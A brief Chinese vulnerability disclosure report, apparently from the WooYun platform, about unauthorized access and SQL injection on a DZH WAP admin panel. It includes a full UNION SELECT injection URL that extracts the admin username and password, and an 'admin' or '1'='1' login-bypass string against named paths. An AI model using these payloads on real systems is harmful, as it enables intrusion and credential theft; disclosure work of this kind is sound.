上海大智慧某站未授权访问&SQL注入

详细说明：

注入：
禁用JS，
http://dzh.com.cn/admin/userlist.php
http://dzh.com.cn/admin/editUser.php?username=test110%27%20and%201=2%20union%20select%201,username,3,password,5%20from%20user%20where%20username=%27admin%27–+

其实这个是：
进入大智慧WAP网站后台管理系统
看了下历史。
WooYun:上海大智慧分站多处SQL注入漏洞 
以前是在
http://mo.gw.com.cn/解析的，后面可能因为修补"漏洞"后面换地方了。

漏洞证明：

注入管理员密码，其实可以直接修改掉：

。管理着的东西：
http://mo.gw.com.cn/down.php

。

修复方案：

未授权，注入。

http://dzh.com.cn/admin/default.php
admin' or '1'='1
前面的人提交的漏洞还是存在的哈。

求忽略，求乌云补点。。